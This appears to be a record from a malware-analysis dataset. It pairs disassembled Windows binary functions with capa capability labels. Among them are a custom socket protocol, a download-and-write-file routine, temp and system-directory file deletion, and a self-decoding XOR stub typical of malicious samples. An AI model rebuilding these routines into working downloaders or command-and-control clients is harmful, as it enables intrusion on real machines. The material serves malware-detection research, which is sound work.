joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40258d
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.00407b30
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.00407b30
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401d06
pop ecx
test eax, eax
je 0x4026b9
xor eax, eax
movzx ecx, word [eax + 0x413294]
mov word [eax + 0x417570], cx
add eax, 2
cmp cx, si
jne 0x4025ed
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
cmp cx, si
jne 0x402605
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
cmp cx, si
jne 0x40261e
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov word [0x41746c], ax
mov ax, word [ebp - 0x2ea]
mov word [0x4175f0], ax
mov dword [0x4175f4], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x402677
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402694
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d0
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.004041de
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.004041de
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004041cf
leave
ret

Function at 0x4026c8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [0x415f10], 0
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00407b30
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40275c
mov eax, dword [ebp - 0x118]
push 5
pop ecx
cmp dword [ebp - 0x11c], ecx
jne 0x402738
cmp eax, 2
jae 0x40272e
cmp eax, 1
jne 0x40275c
mov dword [0x415f10], 3
cmp dword [ebp - 0x11c], 6
jne 0x40275c
test eax, eax
jne 0x402751
mov dword [0x415f10], 4
jmp 0x40275c
cmp eax, 1
jne 0x40275c
mov dword [0x415f10], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004041cf
leave
ret

Function at 0x402768
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00407b30
add esp, 0xc
cmp dword [0x415f10], 3
lea eax, [ebp - 0x20c]
jne 0x4027ce
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004041de
add esp, 0xc
pop esi
jmp 0x4027da
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.004041cf
leave
ret
Function at 0x402898
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x218], 0
push ebx
push esi
push edi
mov dword [ebp - 0x21c], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407b30
add esp, 0xc
push 0x104
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
movzx eax, word [ebp - 0x214]
sub eax, 0x41
push eax
call fcn.00402add
push dword [ebp - 0x218]
call fcn.00402bca
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x4029d1
mov esi, 0x400
push esi
call fcn.00404d0d
pop ecx
push esi
mov ebx, eax
push 0
push ebx
call fcn.00407b30
add esp, 0xc
mov ecx, edi
call fcn.004029e2
push ebx
push edi
push 2
pop edx
mov ecx, eax
call fcn.00402a8f
pop ecx
pop ecx
test eax, eax
je 0x4029ca
mov ecx, dword [ebx + 4]
mov esi, str._GBP
mov eax, esi
cmp ecx, dword [eax]
jne 0x402996
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402968
sub eax, edx
sar eax, 1
je 0x402996
mov edi, dword [ebp - 0x21c]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00404da1
xor eax, eax
pop ecx
inc eax
jmp 0x4029d3
push ebx
push edi
push 2
pop edx
push 0x1e
pop ecx
call fcn.00402a8f
pop ecx
pop ecx
test eax, eax
je 0x4029ca
mov eax, dword [ebx + 4]
cmp eax, dword [esi]
jne 0x4029ca
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4029b9
sub eax, edx
sar eax, 1
jne 0x402979
push ebx
call fcn.00404da1
pop ecx
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret

Function at 0x402a8f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
xor esi, esi
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], esi
je 0x402ad7
xor eax, eax
shld eax, ecx, 9
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl edx, 9
push edx
push dword [ebp + 0xc]
shl ecx, 9
push dword [ebp + 8]
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x402cc1
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x4135d4
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.00404500
add esp, 0xc
test eax, eax
je 0x402cee
xor eax, eax
jmp 0x402d79
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00404e65
push dword [ebp - 4]
call fcn.00405075
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00404e65
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.00404d0d
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00404791
push dword [ebp - 4]
call fcn.0040481b
push ebx
lea ebx, [edi + esi]
call fcn.00402d7d
push 0x4135f4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00404500
add esp, 0x44
pop esi
test eax, eax
jne 0x402ce7
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.004049e6
push dword [ebp - 4]
call fcn.0040481b
add esp, 0x14
test edi, edi
je 0x402d76
push edi
call fcn.00404da1
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x40328e
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40330e
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x4032e4
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x403313
cmp dword [ebp - 8], 3
jb 0x4032a9
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x403307
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x403307
cmp edi, esi
jne 0x4032f2
mov eax, dword [ebp - 4]
jmp 0x40332a
cmp dword [eax + 0x34], 6
jne 0x403327
cmp dword [eax + 0x1c], esi
jne 0x403330
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x40331c
jmp 0x40336d
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x4032f5
Function at 0x4034eb
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403617
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403608
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407b30
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407b30
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x40359d
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404253
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004041de
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x40356f
cmp word [edi], 0
je 0x4035c3
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.00403e8b
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x4035ab
push 0x417c78
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.004041de
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403602
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret

Function at 0x40384c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x40386e
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403896
xor eax, eax
jmp 0x403928
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x40388f
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4038d6
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403917
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403917
xor ebx, ebx
inc ebx
jmp 0x403926
mov eax, dword [esi]
test eax, eax
je 0x403926
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret
Function at 0x403a81
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403afd
push esi
mov esi, dword [ebp + 0x10]
push edi
cmp esi, ecx
jle 0x403aa7
mov eax, dword [ebp + 0xc]
not byte [eax + ecx]
inc ecx
cmp ecx, esi
jl 0x403a9c
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040528e
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.004086a0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403b00
cmp eax, dword [ebp - 4]
jne 0x403b00
mov dword [ebp - 8], 1
jmp 0x403b00
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403b0b
push ebx
call fcn.00405667
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x403d10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x8d8], edi
lea eax, [ebp - 0x8cc]
cmp edx, ebx
je 0x403d4c
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x8d4], ebx
cmp esi, ebx
je 0x403e76
cmp edi, ebx
je 0x403e76
push 0xc7
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], dl
call fcn.00407b30
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0xcc]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403e76
cmp eax, ebx
je 0x403e76
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
call fcn.0040528e
pop ecx
mov dword [ebp - 0x8d0], eax
test edi, edi
jle 0x403e61
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x8d0]
add eax, ebx
push eax
mov eax, dword [ebp - 0x8dc]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403e3f
test eax, eax
je 0x403e3f
add ebx, eax
cmp edi, ebx
jg 0x403dc7
push 5
pop ecx
cmp ebx, ecx
jl 0x403e61
mov edi, dword [ebp - 0x8d0]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403e61
mov ecx, dword [ebp - 0x8d0]
test ebx, ebx
jle 0x403e1f
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x403e19
mov esi, dword [ebp - 0x8e0]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x403e47
push ebx
push ecx
push dword [ebp - 0x8d8]
call fcn.004086a0
mov dword [esi], ebx
jmp 0x403e54
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403e61
push eax
push ecx
push dword [ebp - 0x8d8]
call fcn.004086a0
add esp, 0xc
mov dword [ebp - 0x8d4], 1
cmp dword [ebp - 0x8d0], 0
je 0x403e76
push dword [ebp - 0x8d0]
call fcn.00405667
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8d4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret
Function at 0x403e8b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.00407b30
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.00404253
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x403edc
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x417a78
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x403f03
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.00404d0d
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.00407b30
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.00407b30
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.00407b30
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.0040384c
pop ecx
test eax, eax
je 0x404093
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403935
add esp, 0xc
test eax, eax
je 0x404093
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403b11
pop ecx
pop ecx
test eax, eax
je 0x404093
cmp word [ebp - 0xe14], si
jne 0x404093
cmp dword [ebp - 0xe24], 0
je 0x404093
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x404093
push 0x417c78
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004041de
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x4135f4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.00404500
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x404089
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.004040d2
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x4040a8
push dword [ebp - 0xe1c]
call fcn.00404da1
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x4040bd
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret
Function at 0x4040d2
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d750
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x100c], eax
push 4
lea eax, [ebp - 0x1008]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x404113
xor eax, eax
jmp 0x404176
cmp dword [ebp - 0x1008], ebx
jbe 0x40415f
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x1010], eax
test eax, eax
je 0x40415f
mov ecx, dword [ebp - 0x100c]
push dword [ecx]
push eax
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.004049e6
add ebx, dword [ebp - 0x1010]
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x40411b
mov eax, dword [ebp - 0x100c]
push dword [eax]
call fcn.0040481b
cmp ebx, dword [ebp - 0x1008]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret

Function at 0x4041cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415048]
jne 0x4041d9
repz ret
jmp fcn.0040594e
Function at 0x40daeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004096a3
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40db9e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40dc46
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40dc46
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40db9e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40dbf7
cmp dword [0x416cbc], ecx
je 0x40dbf7
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40dbf7
test ebx, ebx
je 0x40dbf7
call edi
test eax, eax
je 0x40dbee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40dbee
test byte [ebp - 8], 1
jne 0x40dbf7
or dword [ebp + 0x10], 0x200000
jmp 0x40dc2a
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40dc2a
push eax
call esi
test eax, eax
je 0x40dc2a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40dc2a
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40dc2a
push eax
call esi
test eax, eax
je 0x40dc2a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40dc46
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40dc48
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret
Function at 0x8e1194
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e119a
pop ebp
sub ebp, 6
sub ebp, 0x4e1194
jmp 0x8e11f8
jmp 0x8e1201
mov eax, 0x4e1194
add eax, ebp
add eax, 0x93
mov ecx, 0x63a
mov edx, 0x32b2e8c9
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1218
jmp 0x8e122b
mov dword [0xd9c9a189], eax
leave
leave
mov eax, dword [0xc9e505c9]
cli
or dword [ecx - 0x670aa3ca], ebx
invalid
Function at 0x4016f0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x46962c], 0
push ebx
push esi
push edi
mov esi, ecx
jne 0x401761
push str.ADVAPI32.DLL
mov dword [0x469640], 0xc
mov dword [0x469648], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x401757
push str.ConvertStringSecurityDescriptorToSecurityDescriptorW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x401757
push 0
push 0x469644
push 1
push 0x42a748
call ebx
mov dword [0x46962c], eax
jmp 0x401761
mov dword [0x469644], 0
mov ecx, dword [esi + 8]
imul ecx, dword [esi + 0xc]
push dword [esi + 4]
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*4]
push eax
push 0
push 4
push 0x469640
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [esi + 0x18], eax
test eax, eax
je 0x401843
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401843
mov ecx, dword [esi + 8]
imul ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*4]
push eax
push 0
push 0
push 6
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0x1c], eax
test eax, eax
je 0x401843
mov ecx, dword [esi + 0xc]
xor edi, edi
test ecx, ecx
jle 0x40180b
mov edx, dword [esi + 8]
lea ebx, [edi + 1]
mov eax, dword [esi + 0x1c]
imul edx, ebx
add eax, edx
mov dword [ebp - 4], eax
lea eax, [ecx - 1]
xor ecx, ecx
cmp edi, eax
cmovne ecx, edx
mov edx, dword [ebp - 4]
mov dword [edx - 4], ecx
test edi, edi
jne 0x4017f8
mov edi, dword [esi + 0xc]
lea eax, [edi - 1]
mov edi, ebx
imul eax, dword [esi + 8]
mov dword [edx - 8], eax
mov ecx, dword [esi + 0xc]
cmp edi, ecx
jl 0x4017d0
mov eax, dword [esi + 8]
imul eax, ecx
xor ecx, ecx
add eax, dword [esi + 0x1c]
mov dword [esi + 0x14], eax
cmp dword [esi + 0x10], ecx
jle 0x401830
nop
mov eax, dword [esi + 0x14]
mov dword [eax + ecx*4], 0xffffffff
inc ecx
cmp ecx, dword [esi + 0x10]
jl 0x401820
mov eax, dword [esi + 0x14]
pop edi
mov dword [eax], 0
mov eax, dword [esi + 0x1c]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401850
Capabilities:
Read file via mapping

Disassembly:
push esi
mov esi, ecx
push dword [esi + 4]
push 1
push 6
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov edx, eax
mov dword [esi + 0x18], edx
test edx, edx
je 0x401899
mov ecx, dword [esi + 0xc]
imul ecx, dword [esi + 8]
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*4]
push eax
push 0
push 0
push 6
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0x1c], eax
test eax, eax
je 0x401899
mov ecx, dword [esi + 8]
imul ecx, dword [esi + 0xc]
add ecx, eax
mov dword [esi + 0x14], ecx
pop esi
ret
xor eax, eax
pop esi
ret